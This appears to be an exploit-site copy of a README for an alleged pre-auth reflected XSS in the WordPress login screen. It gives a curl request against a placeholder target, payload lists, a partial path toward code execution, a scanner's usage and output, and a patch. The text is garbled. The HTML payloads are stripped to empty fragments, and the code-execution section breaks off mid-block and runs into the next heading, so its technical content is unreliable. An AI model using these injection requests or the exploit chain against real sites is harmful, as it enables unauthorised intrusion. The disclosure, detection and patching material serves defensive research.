Sploitus

Exploit for xss2shell

githubexploit Β· 2026-08-08

Exploit Code

README136 lines
## https://sploitus.com/exploit?id=71CA7A66-8C6B-51EF-AC52-61BBF601E9BD
XSS2Shell


  CVE-2026-64638 · pre-auth reflected XSS on the WordPress login screen


Unauthenticated attacker controls markup in the login error notice, because a username passes `strip_tags()` as text and comes back out of KSES as a tag. Patched in 7.0.3 and backported down to 5.8.14.

**Affected: 5.8 through 7.0.2.** Not 4.7, and not only 6.4+. See the [technical analysis](https://christbowel.com/blog/xss2shell).



## XSS

The space after `CLICK ME
```

Or over curl:

```bash
curl -s -X POST http://TARGET/wp-login.php \
  --data-urlencode 'log=CLICK ME' \
  --data-urlencode 'pwd=x' \
  --data 'wp-submit=Log+In' \
  -b 'wordpress_test_cookie=WP+Cookie+check' \
  | grep -o ''
```

```
Error:
The username CLICK ME is not registered
on this site. ...
```

More working payloads:

```
z          live anchor, attacker chosen id and href
   fires a same origin request
                       minimal allowlisted node
z  class the login JS looks for
```

Control case, no space, proves the mechanism:

```
z            stripped, only "z" survives
```

What does **not** work, and this matters:

```
alert(1)               renders "alert(1)" as text, KSES drops script
            renders , KSES drops onerror
```

KSES keeps allowlisted elements but strips `script` and every `on*` handler. So the primitive is attacker chosen DOM with chosen `id` / `class` / `href`. It is not script execution.



## RCE

There is no one liner. The reflected XSS is a single request. Code execution is not.

Path, and every step is a precondition rather than a payload:

```
1. reflected injection      pre-auth, one request       

## Detector

`libfree.py` checks whether an instance still reflects the probe. One POST, benign marker string, nothing executed, nothing written.

```bash
python3 libfree.py -u https://example.com
python3 libfree.py -f targets.txt -t 5 -o results.csv
python3 libfree.py -f targets.txt --quiet        # print vulnerable hosts only
python3 libfree.py -u https://internal.lan -k    # skip TLS verification
```

```
    TARGET                                    STATUS          VERSION    NOTE
  ----------------------------------------------------------------------------------
  ! http://127.0.0.1:8081                     VULNERABLE      7.0.2      probe reflected as live markup
  + http://127.0.0.1:8082                     PATCHED         7.0.2      probe reflected escaped
  . http://127.0.0.1:9999                     REFUSED         -          nothing listening on that port
  ~ https://127.0.0.1:8081                    TLS ERROR       -          handshake failed: RECORD_LAYER_FAILURE
  . http://127.0.0.1:8090                     LOGIN DISABLED  -          HTTP 404, wp-login.php not exposed
  . http://does-not-resolve-xyz.invalid       NO DNS          -          hostname does not resolve
  . http://127.0.0.1:8081/nonexistent-subdir  NOT WORDPRESS   -          HTTP 200, no WordPress login form

  7 checked   1 vulnerable   1 patched   5 not determined
  not determined: 1 login disabled, 1 no dns, 1 not wordpress, 1 refused, 1 tls error
```

It probes rather than fingerprints. The first two hosts both report `7.0.2` and only one is patched, so a version check would have called both vulnerable. That case is common on hosts that backport without bumping the banner.

A target it could not reach is never reported as safe. Everything that is not a conclusive `VULNERABLE` or `PATCHED` lands in `not determined`, with the reason:

| status | meaning |
|---|---|
| `NO DNS` | hostname does not resolve |
| `REFUSED` | nothing listening |
| `TIMEOUT` | no response in time, raise `--timeout` |
| `TLS ERROR` | certificate or handshake problem, try `-k` |
| `BLOCKED` | 401 / 403 / 406 / 429, WAF or rate limit in front |
| `LOGIN DISABLED` | 404, `wp-login.php` not exposed |
| `NOT WORDPRESS` | responded, but no login form |
| `INCONCLUSIVE` | login flow customised, check by hand |

Exit codes: `0` nothing vulnerable, `1` at least one vulnerable, `2` bad input.

Only scan hosts you own or are authorised to test.



## Fix

Update to 7.0.3, or the patched release on your branch: 6.9.6, 6.8.7, 6.7.6, 6.6.6, 6.5.9, 6.4.9, 6.3.9, 6.2.10, 6.1.11, 6.0.13, 5.9.14, 5.8.14.

The fix is one line in `wp-includes/user.php`:

```php
-    $username
+    esc_html( $username )
```



## References

- Technical analysis: https://christbowel.com/blog/xss2shell
- WordPress 7.0.3 release notes: https://wordpress.org/documentation/wordpress-version/version-7-0-3/
- Upstream commit: `0d6d42e509` "Users: Prevent usernames from mangling HTML"
- Original disclosure: pwn.ai